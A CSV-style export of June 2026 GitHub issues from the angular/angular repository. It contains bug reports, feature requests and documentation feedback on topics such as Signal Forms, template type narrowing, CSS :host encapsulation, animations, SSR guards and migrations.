### Please provide the environment you discovered this bug in (run `ng version`)

```true
ular CLI       : 22.0.0
Angular           : 22.0.0
Node.js           : 24.16.0
Package Manager   : npm 11.13.0
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations               │ 22.0.0            │ ^22.0.0           │
│ @angular/build                    │ 22.0.0            │ ^22.0.0           │
│ @angular/cli                      │ 22.0.0            │ ^22.0.0           │
│ @angular/common                   │ 22.0.0            │ ^22.0.0           │
│ @angular/compiler                 │ 22.0.0            │ ^22.0.0           │
│ @angular/compiler-cli             │ 22.0.0            │ ^22.0.0           │
│ @angular/core                     │ 22.0.0            │ ^22.0.0           │
│ @angular/forms     ... [TRUNCATED]","area: forms,gemini-triaged",2026-06-14T07:05:53Z,2026-06-14T07:09:55Z,1
angular/angular,4656382907,ngTemplateContextGuard does not narrow type when type parameter has constraint,"### Which @angular/* package(s) are the source of the bug?

language-service

### Is this a regression?

No

### Description

I've found that when I add type constraints to a generic directive, the language service is unable to narrow the context, and defaults to `any`. Not sure if this is a known limitation, but I've not been able to find anything that says it is.

Example:

```typescript
import { Component, Directive, input, signal } from '@angular/core';

export type GenericContext<T> = { $implicit: T };

@Directive({
  selector: '[appGeneric]'
})
export class GenericDirective<T extends Record<string, number>> {
  readonly items = input.required<T>();

  static ngTemplateContextGuard<T extends Record<string, number>>(
    directive: GenericDirective<T>,
    context: unknown
  ): context is GenericContext<T> {
    return true;
  }
}

@Component({
  selector: 'app-root',
  template: `
    <ng-template appGeneric [items]=""items()"" let-items>
    </ng-template>
  `,
  imports: [GenericDirective]
})
export class App {
  readonly items = signal([
    { myNum: 0 }
  ]);
}
```

Result:

<img width=""613"" height=""257"" alt=""Image"" src=""https://github.com/user-attachments/assets/999c797d-61c3-418d-858e-f65077bdae05"" />

After removing `extends Record<string, number>`:

<img width=""608"" height=""264"" alt=""Image"" src=""https://github.com/user-attachments/assets/c98f0f67-4ae3-4d25-ad07-927abc625abf"" />

### Please provide the environment you discovered this bug in (run `ng version`)

```tr... [TRUNCATED]","area: language-service,gemini-triaged",2026-06-13T17:50:04Z,2026-06-14T09:04:46Z,2
angular/angular,4653721552,Reference-counted component outputs,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

I would like to be able to detect when a component output has subscribers.

This enables components to dynamically show UI elements like buttons if an output for the button has subscribers.

For example:

```ts
@Component({
    selector: 'app-component',
})
export class ExampleComponent {
    // The button only gets rendered if the output has subscribers
    readonly backClick = output<void>();
}
```

```html
@if (backClick.hasSubscribers()) {
    <button (click)=""backClick.emit()"">Back</button>
}
```

This is very useful for making components _harder to misuse_, as we don't show buttons that we know have no effect. We can also log warnings or errors if an output should be used, but isn't.

Currently, we can accomplish this by extending the EventEmitter<T> class to refcount on `subscribe()`. However, extending Angular classes is not supported under Angular's semver policy: https://github.com/angular/angular/blob/main/contributing-docs/public-api-surface.md#extending-angular-classes

### Proposed solution

Expose a new property on `OutputEmitterRef<T>`:

```ts
class OutputEmitterRef<T> {
    hasSubscribers: Signal<boolean>;
}
```

The `OutputEmitterRef` would refcount internally with a signal, returning `true` from the `hasSubscribers` signal if the refcount is > 0.

### Alternatives considered

Without this feature, components can use inputs to decide whether to show UI elemen... [TRUNCATED]","area: core,gemini-triaged",2026-06-13T01:16:08Z,2026-06-13T06:26:35Z,1
angular/angular,4647263214,"Roadmap page (angular.dev/roadmap) appears stale, not updated since v22","### Describe the problem that you experienced

I noticed the [roadmap page](https://angular.dev/roadmap) may not have been updated in a little while, as the content still seems to reflect the v22 cycle.

The **""Available to experiment with""** section currently lists:
- Signal Forms
- Resource API
- httpResource

The **""Production ready""** section lists:
- Zoneless change detection
- Linked Signal API
- Incremental hydration
- Effect API
- Event replay with SSR
- Route-level render mode

Since v22, several of the ""experiment with"" items have graduated, but the page doesn't reflect their current status. It's unclear from the roadmap which of these have since stabilized, moved to production-ready, or changed, making the page misleading for developers checking what's safe to adopt.


### Enter the URL of the topic with the problem

https://angular.dev/roadmap","area: docs-infra,gemini-triaged",2026-06-12T07:24:43Z,2026-06-12T09:11:24Z,2
angular/angular,4646950049,OutputEmitterRef.emit() skips listeners when an earlier listener unsubscribes synchronously (e.g. outputToObservable + take(1)),"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

When two listeners are subscribed to the same signal-based `output()`, and the first listener unsubscribes itself synchronously while receiving an emitted value, the second listener is silently skipped — it never receives the event.

This is a regression compared to decorator-based `@Output()` / `EventEmitter`: the exact same code works correctly there, as it does in every comparable event system (DOM `EventTarget`, Node `EventEmitter`, RxJS `Subject`). A listener removing itself is never supposed to affect delivery to other listeners. Since `output()` is presented as a drop-in replacement for `@Output()`, this behavioral difference is subtle and very hard to debug — in our app it manifested as a template event binding that simply never fired, with nothing in the console pointing at the cause.

## Reproduction

https://stackblitz.com/edit/stackblitz-starters-scbzqgpg

A child component emits an output once:

```ts
  @Component({ selector: 'app-child', /* ... */ })
  export class ChildComponent implements OnInit {
    ready = output<string>();

    ngOnInit() {
      this.ready.emit('hello from child');
    }
  }
```
A directive on the same element consumes that output once, the idiomatic way:

  ```ts
  @Directive({ selector: 'app-child[consumeOnce]' })
  export class ConsumeOnceDirective {
    private host = inject(ChildComponent);

    constructor() {
      out... [TRUNCATED]","area: core,state: has PR,bug",2026-06-12T06:34:32Z,2026-06-16T15:29:35Z,0
angular/angular,4637959398,CSS compilation issue for multi argument :host() selectors,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

Yes

### Description

We started testing the new Angular 22 version and saw that in one of our applications some css styles were not applied correctly anymore. 

There might be an issue with how multi-argument host selectors are rendered. 

Example css style
```css
:host(ds-list-item, [ds-list-item], ds-menu-item, [ds-menu-item]) { ... }
```

In Angular 20 this got rendered into something like
```css
ds-list-item[_nghost-ng-c2697880216],
[ds-list-item][_nghost-ng-c2697880216],
ds-menu-item[_nghost-ng-c2697880216],
[ds-menu-item][_nghost-ng-c2697880216],
.ds-list-item[_ngcontent-ng-c2697880216] { ... }
```

Now within our tests with Angular 22 it got rendered into
```css
[_ngcontent-ng-c2697880216]:host(ds-list-item, [ds-list-item], ds-menu-item, [ds-menu-item]),
.ds-list-item[_ngcontent-ng-c2697880216] { ... }
```

The `:host()` arm uses `_ngcontent` — but the host element gets `_nghost`, not `_ngcontent`. The selector never matches, so all of our base styles are dead code.


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 22.0.0
Angular           : 22.0.0
Node.js           : 24.15.0
Package Manager   : npm 11.16.0
Operating System  : linux x64
```

### Anything else?

_No respo... [TRUNCATED]","area: compiler,core: CSS encapsulation,gemini-triaged",2026-06-11T06:52:02Z,2026-06-11T15:44:01Z,2
angular/angular,4634483856,animate.leave skipped for the closing panel when switching panels in an exclusive accordion (sibling instances share a TNode),"> **TL;DR — it breaks an exclusive accordion.** In an accordion (or tab group / expandable nav menu) where opening one panel closes the currently-open one, clicking a different panel makes the open panel **disappear instantly instead of animating its `animate.leave` collapse**. The opening panel's `animate.enter` plays fine; only the *closing* panel is broken, and only when another opens in the same change-detection tick.
>
> It's **order-dependent**: it only breaks when the closing section comes *before* the opening one in DOM order. (Both sections update in one tick, in order — so the closing element is detached and tracked *first*, then the entering sibling cancels it.) Closing a *later* section while opening an *earlier* one animates fine, as does toggling a single section with nothing else opening. So in the repro, **clicking Section B while A is open is broken; clicking Section A while B is open animates correctly** — don't be fooled by trying the working direction.
>
> Why: the panels are separate instances of the **same** item component, so their animated elements share one `TNode`. `cancelLeavingNodes` (added in 21.2.0) sees the still-animating closing panel under that shared `TNode` in a different DOM parent, assumes it's a stale duplicate, and force-removes it.
>
> ▶️ **Repro — same code, side by side** (a two-section exclusive accordion; click **Section B** while **Section A** is open):
> - ❌ **Broken (Angular 21.2.x):** https://stackblitz.com/github/kaiguogit/ng-... [TRUNCATED]","area: core,core: animations,gemini-triaged",2026-06-10T19:51:32Z,2026-06-11T17:38:59Z,4
angular/angular,4628829238,Build system migration guide still says webpack-based build system is fully supported,"### Describe the problem that you experienced

The build system migration guide still says:

>The existing webpack-based build system is still considered stable and fully supported.
> Applications can continue to use the browser builder and projects can opt-out of migrating during an update.

This seems outdated or at least incomplete after the Angular v22 deprecations.

Angular CLI v22 deprecates the webpack-related builders and points users to `@angular/build` instead. Because of that, the current wording can be confusing: it suggests that the webpack-based build system is still a fully supported long-term option, while the CLI now emits deprecation warnings for this path.
https://github.com/angular/angular-cli/pull/33127/

### Enter the URL of the topic with the problem

https://angular.dev/tools/cli/build-system-migration

### Describe what you were looking for in the documentation

I heard that webpack support had been deprecated in Angular v22, so I was looking for the official migration guidance and current status of the webpack-based builders.


### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```
... [TRUNCATED]","area: docs,gemini-triaged",2026-06-10T06:57:46Z,2026-06-10T17:54:44Z,1
angular/angular,4628430039,Feedback: Search docs panel should reset the input box on reopen,"### Describe the problem that you experienced

When opening the search panel for a second time within the same session on angular.dev, the input field retains the previous search query. This requires users to manually delete the old text before they can type a new query, causing friction in the search experience.

### Enter the URL of the topic with the problem

https://angular.dev/

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

When the search panel is reopened, the previous search text should be fully cleared out.


Alternatively, we can keep the text in selected state. 

### Benefits of this Approach
* **Effortless Overwriting:** The user can instantly start typing to replace the old query.
* **Easy Modification:** If the user wants to refine their previous search instead, they can press the right arrow key to deselect the text and append new terms.


### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs-infra,gemini-triaged",2026-06-10T05:48:17Z,2026-06-10T09:14:48Z,2
angular/angular,4627592425,Workspace tsdk not used when it is a relative path in the workspace,"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

When using the Visual Studio Code setting `js/ts.tsdk.path` (previously `typescript.tsdk`) to specify a TypeScript version, if that path is a relative path within the workspace, the Angular Language Service does not use the TypeScript version specified at that path, and instead uses its own bundled version. This was working in version 21.2.3, but no longer works in version 21.2.4, or version 22.0.0.

I created a reproduction repository to demonstrate the issue: [https://github.com/Sidnoea/als-vscode-bug](https://github.com/Sidnoea/als-vscode-bug)

In this repository, the TypeScript version is kept committed, and the path used is `.yarn/sdks/typescript/lib`, because this repository uses Yarn PnP. I do not believe this bug is related to Yarn PnP specifically, but I included it in the repository to demonstrate my use case, as this is how I ended up discovering the bug. In this case, the custom TypeScript version 5.7.3-sdk should be loaded, but instead, TypeScript version 5.9.3 is loaded. This then causes the Angular Language Service to fail.

I believe this bug may have been caused by #68862, which changed the locations that are searched when looking for TypeScript.

As a temporary workaround, I can use an absolute folder path instead of a relative folder path, which causes the specified TypeScript version to be loaded. Th... [TRUNCATED]","area: language-service,gemini-triaged",2026-06-10T03:10:27Z,2026-06-10T18:09:58Z,3
angular/angular,4626288930,Safe navigation migration does unnecessary changes,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

`[condition]=""category?.category != null""` such code gets overwritten for no reason.

furthermore, another migration adds unnecessary suppressions to tsconfig files (nullishCoalescingNotNullable, optionalChainNotNullable) even when project is not using strict nullability at all.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",area: migrations,2026-06-09T22:58:30Z,2026-06-10T00:11:57Z,0
angular/angular,4623032010,`experimentalWebMcpTool` is responsible for invoking the model synchronously,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

If the model depends on a required `input`, the forms webmcp tool, is responsible for throwing `NG0950: Input ""id"" is required but no value is available yet.` 

Repro: 

```ts
describe('App', () => {
  @Component({
    selector: 'app-root',
    template: ``,
  })
  class App {
    id = input.required<string>();
    model = linkedSignal(() => ({id: this.id()}));

    form = form(this.model, () => {}, {
      experimentalWebMcpTool: {
        description: 'foo',
        name: 'foo',
      },
    });
  }

  it('should work', async () => {
    TestBed.configureTestingModule({providers: [provideExperimentalWebMcpForms()]});
    const fixture = TestBed.createComponent(App);
  });
});
```
","area: forms,core: webmcp",2026-06-09T14:49:22Z,2026-06-10T17:14:43Z,0
angular/angular,4622767181,Youtube iframe on Angular v22 release page - broken,"### Describe the problem that you experienced

When I'm trying to load the Angular v22 release page - Youtube iframe looks broken.
MacOS, Firefox, 151.0.4 (aarch64).

https://github.com/user-attachments/assets/864632f4-639a-4952-9cda-b8ce92c59bd5

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs-infra,gemini-triaged",2026-06-09T14:14:55Z,2026-06-09T14:37:00Z,1
angular/angular,4622356548,"platformServer().onDestroy resets ngServerMode to undefined after every render, defeating the BootstrapContext guard introduced to fix GHSA-68x2-mx4q-78m7","### Which @angular/* package(s) are the source of the bug?

platform-server

### Is this a regression?

No

### Description

The fix for GHSA-68x2-mx4q-78m7 added a guard in `@angular/core` that throws `NG0401` (Missing Platform) when `bootstrapApplication()` is called server-side without a `BootstrapContext`. The guard checks `globalThis.ngServerMode`:

```javascript
// @angular/core/fesm2022/core.mjs ~line 2420
if (typeof ngServerMode !== 'undefined' && ngServerMode && !platformRef) {
  throw new RuntimeError(-401, 'Missing Platform...');
}
```

The guard only fires when `ngServerMode === true`. The problem is that `platformServer()` in `@angular/platform-server` sets this flag to `true` at the start of a render but then resets it back to `undefined` inside an `onDestroy` callback when the platform is destroyed at the end of each render:

```javascript
// @angular/platform-server/fesm2022/_server-chunk.mjs lines 576-588
function platformServer(extraProviders) {
  const noServerModeSet = typeof ngServerMode === 'undefined';
  if (noServerModeSet) {
    globalThis['ngServerMode'] = true;
  }
  const platform = createPlatformFactory(platformCore, 'server', INTERNAL_SERVER_PLATFORM_PROVIDERS)(extraProviders);
  if (noServerModeSet) {
    platform.onDestroy(() => {
      globalThis['ngServerMode'] = undefined;  // resets the guard flag after every render
    });
  }
  return platform;
}
```

After any `renderApplication()` call completes (which internally calls `platformServer()... [TRUNCATED]","area: server,gemini-triaged",2026-06-09T13:23:47Z,2026-06-10T15:32:51Z,3
angular/angular,4620461234,Enum Default = 1 still has a comment that this is the default for v22,"### Describe the problem that you experienced

https://github.com/angular/angular/blob/e6ae250802ee1cb4cb321cad5fab0a9f0b2779dc/packages/core/src/change_detection/constants.ts#L37

constants.ts comment in line 37 says that `Default = 1` is the default. This contradicts the actual behavior that is already noted in line 25. That OnPush is the default

https://github.com/angular/angular/blob/e6ae250802ee1cb4cb321cad5fab0a9f0b2779dc/packages/core/src/change_detection/constants.ts#L25

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: core,gemini-triaged",2026-06-09T08:53:12Z,2026-06-09T20:10:01Z,0
angular/angular,4618740065,"Bug: AOT compilation slow, build times excessive","## Problem Statement
AOT slow:
- Build times long
- CI/CD slow
- Development blocked

**Business Impact:** Slow builds
**Technical Impact:** Compilation speed

## Root Cause Analysis
No optimization. Sequential compilation.

## Solution Overview
1. Parallel: parallel compilation
2. Caching: cache artifacts
3. Incremental: incremental builds
4. Optimization: optimize passes
5. Profiling: identify slow

## Type of Change
- Bug fix: Build performance

## Testing Done
- Build test: faster
- Cache test: works
- Incremental test: faster

## Related Issue
Relates to build time

## Suggested Labels
bug, build, performance, gssoc26","area: compiler,gemini-triaged",2026-06-09T04:12:42Z,2026-06-09T04:48:31Z,0
angular/angular,4618739996,Enhancement: Add better error messages and debugging tools,"## Problem Statement
Error messages unclear:
- Hard to debug
- No helpful info
- Frustration

**Business Impact:** Hard to debug
**Technical Impact:** Poor errors

## Root Cause Analysis
Minimal error info. Generic messages.

## Solution Overview
1. Messages: clear messages
2. Context: include context
3. Suggestions: suggest fixes
4. Debugging: debug tools
5. Documentation: link docs

## Type of Change
- Feature: Error handling

## Testing Done
- Message test: clear
- Context test: helpful
- Tool test: useful

## Related Issue
Relates to DX

## Suggested Labels
feature, error-handling, dx, gssoc26","area: core,gemini-triaged",2026-06-09T04:12:41Z,2026-06-09T04:48:10Z,0
angular/angular,4618739943,"Bug: Change detection runs too frequently, unnecessary checks","## Problem Statement
Change detection excessive:
- Runs too often
- Performance impact
- Unnecessary checks

**Business Impact:** Performance degradation
**Technical Impact:** CD algorithm

## Root Cause Analysis
CD triggers on all events. No optimization.

## Solution Overview
1. OnPush: promote OnPush
2. Optimization: optimize checks
3. Smart: smart detection
4. Profiling: identify runs
5. Testing: CD tests

## Type of Change
- Bug fix: Change detection

## Testing Done
- Detection test: fewer runs
- Performance test: improved
- Correctness test: correct

## Related Issue
Relates to performance

## Suggested Labels
bug, change-detection, performance, gssoc26","area: core,gemini-triaged",2026-06-09T04:12:40Z,2026-06-09T04:47:45Z,1
angular/angular,4618739896,Enhancement: Add better TypeScript strict mode support and type safety,"## Problem Statement
Strict mode incomplete:
- Type safety gaps
- Unsafe patterns allowed
- Limited strictness

**Business Impact:** Type safety issues
**Technical Impact:** Incomplete strict mode

## Root Cause Analysis
Not all strict rules enforced.

## Solution Overview
1. Strict: enable all strict
2. Rules: add rules
3. Linting: strict linting
4. Documentation: guide users
5. Migration: migration path

## Type of Change
- Enhancement: Type safety

## Testing Done
- Strict test: works
- Migration test: smooth
- Type test: safe

## Related Issue
Relates to safety

## Suggested Labels
feature, typescript, safety, gssoc26","area: dev-infra,gemini-triaged",2026-06-09T04:12:39Z,2026-06-09T04:48:52Z,0
angular/angular,4618739838,Bug: Dependency injection performance degrades with large modules,"## Problem Statement
DI slow with large apps:
- Module initialization slow
- Startup time increases
- Scalability issues

**Business Impact:** Slow app startup
**Technical Impact:** DI performance

## Root Cause Analysis
No optimization for large modules. Linear resolution.

## Solution Overview
1. Caching: cache resolutions
2. Optimization: optimize lookup
3. Lazy loading: defer loading
4. Profiling: identify bottlenecks
5. Testing: performance tests

## Type of Change
- Bug fix: Performance

## Testing Done
- Performance test: improved
- Scalability test: handles large
- Startup test: faster

## Related Issue
Relates to startup performance

## Suggested Labels
bug, performance, di, gssoc26","area: core,gemini-triaged",2026-06-09T04:12:38Z,2026-06-09T04:49:38Z,0
angular/angular,4616723704,v22 HTTP option `reportUploadProgress` does not work,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

No (in the sense that the flag is new 🙃)

### Description

In Angular 22, the HTTP request option `reportProgress` is deprecated, and encourages you to switch to `reportUploadProgress` / `reportDownloadProgress` instead. However, it seems at least `reportUploadProgress` does not work. (I did not verify download progress.)

I can't get a StackBlitz project set up because their version of Node is slightly out of Angular's support window, so I've attached a project that shows the issue. `npm install` and `npm start`, then you can flip between the old and new flags and upload a file to test (it uploads to a dummy API, https://jsonplaceholder.typicode.com/). The old flag reports progress, but the new one does not.

[ng22-upload-progress.zip](https://github.com/user-attachments/files/28726416/ng22-upload-progress.zip)

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 22.0.0
Angular           : 22.0.0
Node.js           : 24.16.0
Package Manager   : npm 11.13.0
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼────────────... [TRUNCATED]","area: common/http,gemini-triaged",2026-06-08T21:20:30Z,2026-06-10T18:37:48Z,3
angular/angular,4612437879,Add `@server` and `@browser` template blocks for SSR-only and browser-only rendering,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler

### Description

This is a feature request for first-class template-level control-flow blocks that render only on a specific platform:

```html
@server {
  <!-- This block is rendered only during SSR/prerendering. -->
}

@browser {
  <!-- This block is rendered only in the browser. -->
}
```

The goal is to make SSR/browser-only rendering explicit in Angular templates and make this behavior hydration-aware.

Today this can be approximated with isPlatformBrowser, isPlatformServer, custom structural directives, or component-level guards. However, those solutions are verbose, easy to implement inconsistently, and do not provide a clear framework-level contract for hydration behavior.

Angular already has template control-flow syntax such as `@if`, `@for`, `@switch`, and `@defer`. SSR apps often need a similarly clear way to express platform-specific template branches.

#### Common use cases:

```html
@server {
  <app-static-product-card [product]=""product"" />
}

@browser {
  <app-interactive-product-card [product]=""product"" />
}
```

```html
@server {
  <app-seo-friendly-table [rows]=""rows"" />
}

@browser {
  <app-virtual-scroll-table [rows]=""rows"" />
}
```

```html
@browser {
  <app-map-widget [location]=""location"" />
}
```

This would help with:
- rendering static/SEO-friendly content on the server;
- rendering browser-only widgets that depend on DOM APIs such as window, document, ResizeObs... [TRUNCATED]",area: compiler,2026-06-08T11:22:50Z,2026-06-08T11:54:58Z,2
angular/angular,4612423561,Will the LOCALE_DATA hardening fix be backported to Angular 20,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

The change from

```typescript
let LOCALE_DATA: {[localeId: string]: any} = {};
```
to
```typescript
let LOCALE_DATA: {[localeId: string]: any} = Object.create(null);
```

was merged in https://github.com/angular/angular/pull/68917 and backported to [21.2.x](https://github.com/angular/angular/releases/tag/v21.2.16) and [22.0.x.](https://github.com/angular/angular/releases/tag/v22.0.0-rc.3) branches.

security scanners like aikido are flagging Angular 20.x as affected because the same code exists there. Currently, the suggested remediation is to migrate to v21
https://intel.aikido.dev/cve/AIKIDO-2026-11077

since v20 is LTS, is there a plan to include the changes to the 20.x branch as well? 

Not really a bug. Posting this here because I was directed from Discord to ask on GitHub

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular 20.3.24
```

### Anything else?

_No response_","area: core,gemini-triaged",2026-06-08T11:20:31Z,2026-06-08T12:04:45Z,1
angular/angular,4612329406,Inlay Hints - Parameter name hints popping up in wrong places,"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

When looking at some .ts files in our Angular application, parameter hints are wrongly placed within the code:

<img width=""1087"" height=""580"" alt=""Image"" src=""https://github.com/user-attachments/assets/b18ffdc5-dc34-47d3-b558-c1253051bc2e"" />

When setting the feature `Angular > Inlay Hints > Parameter Hints: Name Hints`  to  `none` the hints disappear:

<img width=""1032"" height=""592"" alt=""Image"" src=""https://github.com/user-attachments/assets/ac6f5b37-1ad0-44e6-9cd6-ce75a2d82654"" />

I've so far only observed this in our production code, that i can't share here

### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

_No response_

### Please provide a screenshot if possible [Bug Report only]

_No response_

### Please provide the exception or error you saw [Bug Report only]

```true

```

### Description [Feature Request only]

_No response_

### Proposed solution [Feature Request only]

_No response_

### Alternatives considered [Feature Request only]

_No response_","area: language-service,gemini-triaged",2026-06-08T11:06:27Z,2026-06-09T20:33:17Z,0
angular/angular,4611745927,Aria: context menu doesn't close on outside click unless hovered first,"### Describe the problem that you experienced

When I open the context menu by right-clicking inside the target area, clicking somewhere outside the menu doesn't close it, the menu stays open.
The only time clicking outside does close it is if I first move my mouse over the menu (hover on it), and then click outside. Without hovering first, outside clicks are ignored and the menu remains open.
I'd expect the context menu to close whenever I click outside of it, whether or not I hovered over it first.

### Enter the URL of the topic with the problem

https://angular.dev/guide/aria/menu

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs,gemini-triaged",2026-06-08T09:44:00Z,2026-06-08T19:58:02Z,1
angular/angular,4610891825,"ng 22 update remove changeDetection: ChangeDetectionStrategy.OnPush,","### Command

update

### Description

when doing migration to ng 22 and component has `changeDetection: ChangeDetectionStrategy.OnPush,`  could be be removed

### Describe the solution you'd like

a) basic update
b) or extra migration

### Describe alternatives you've considered

_No response_","area: migrations,gemini-triaged",2026-06-08T05:42:46Z,2026-06-08T18:23:45Z,3
angular/angular,4607191885,Items no longer rendering in template on mac OS,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

After upgrading from   release 21.2.14   to   21.2.15 and now v22. I have an issue on my MacOS with items not rendering

in template I have :
 **@for(product of products; track product.id_product) { ... }**

In the ts I have :
**.subscribe(
        res => {
                this.products = [...res];
        }
      )**

poducts is retruning data and not rendering in the template

It's working again when reverting to:
Angular CLI       : 21.2.12
Angular           : 21.2.14
Node.js           : 24.16.0
Package Manager   : npm 11.13.0
Operating System  : darwin arm64

I have no issue on the production server

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,gemini-triaged",2026-06-07T11:45:35Z,2026-06-07T12:13:47Z,2
angular/angular,4600957327,Feature Request: Permit Readonly arrays in `Provider`,"### Which @angular/* package(s) are relevant/related to the feature request?

`@angular/core`

### Description

Sometimes it's useful to have a shared set of providers that get imported together:

```ts
export const SERVICE_PROVIDERS = [
  ServiceA,
  ServiceB,
  // ...
]
```
```ts
@Component({
  // ...
  providers: [SERVICE_PROVIDERS],
})
// ...
```

This pattern is subject to really confusing issues if someone does something like `SERVICE_PROVIDERS.push(...)`, so it would be better if I could use a type annotation to avoid mutating the array, i.e.:

```ts
export const SERVICE_PROVIDERS: readonly Provider[] = [
  ServiceA,
  ServiceB,
  // ...
]
```

However, adding the annotation triggers a build-time error and requires an update to the component definition:
```ts
@Component({
  // ...
  providers: [...SERVICE_PROVIDERS],
})
// ...
```
This technically impacts runtime performance by duplicating the array at runtime (just to satisfy the type requirements at build time).

It is a pretty minor concern, but declaring that arrays passed as `Provider` are readonly both offers a small performance win _and_ provides a TS-based assurance that the provided array will not be mutated by the framework (which I sure hope is true!).

### Proposed solution

Update `Provider` type to accept `readonly any[]` instead of `any[]`:

https://github.com/angular/angular/blob/255151a41349c519728651739412dbd0f6138e13/packages/core/src/di/interface/provider.ts#L336-L343

I'm not sure if this might cau... [TRUNCATED]","area: core,gemini-triaged",2026-06-06T00:02:15Z,2026-06-08T10:03:03Z,2
angular/angular,4596521396,Defer feature not indexed or returned properly by Algolia,"### Describe the problem that you experienced

Using the embedded search in angular.dev and typing `defer` or `@defer` only return the Tutorials pages.
You have to know better and type at least 'deferre' to start getting Docs results.

<img width=""782"" height=""655"" alt=""Image"" src=""https://github.com/user-attachments/assets/c0020347-eab2-4a7d-a85b-6a36bd00431d"" />

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs-infra,gemini-triaged",2026-06-05T11:23:44Z,2026-06-08T10:21:57Z,4
angular/angular,4596373284,Cannot use Type Parameter for Component @Input property transformers,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description
[](url)
This component won’t compile:

https://github.com/mwaibel-go/component-type-parameter-repro/blob/type-param-repro/src/app/widget.ts

```ts
@Component({
  template: ``,
})
export class Widget<T> {
  @Input({
    transform: (value: T) => value
  }) data!: T
}
```

### Please provide a link to a minimal reproduction of the bug

https://github.com/mwaibel-go/component-type-parameter-repro/tree/type-param-repro

### Please provide the exception or error you saw

```true
Symbol must be exported in order to be used as the type of an Input transform function(-993001)
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.14
Angular           : 21.2.16
Node.js           : 24.13.0
Package Manager   : npm 11.11.1
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.14           │ ^21.2.14          │
│ @angular/cli              │ 21.2.14           │ ^21.2.14          │
│ @angular/common           │ 21.2.16           │ ^21.2.16          │
│ @angular/compiler         │ 21.2.16           │ ^21.2.16          │
│ @angular/compiler-cli     │ 21.2.16           │ ^21.2.16        ... [TRUNCATED]","area: compiler,gemini-triaged",2026-06-05T10:59:47Z,2026-06-05T12:44:09Z,2
angular/angular,4596130691,Signal Forms: applyWhen with else option,"### Which @angular/* package(s) are relevant/related to the feature request?

@angular/forms/signals

### Description

When a subform is based on another Selection we have to use disabled and applyWhen (see the next example). I found no other option for this use case.

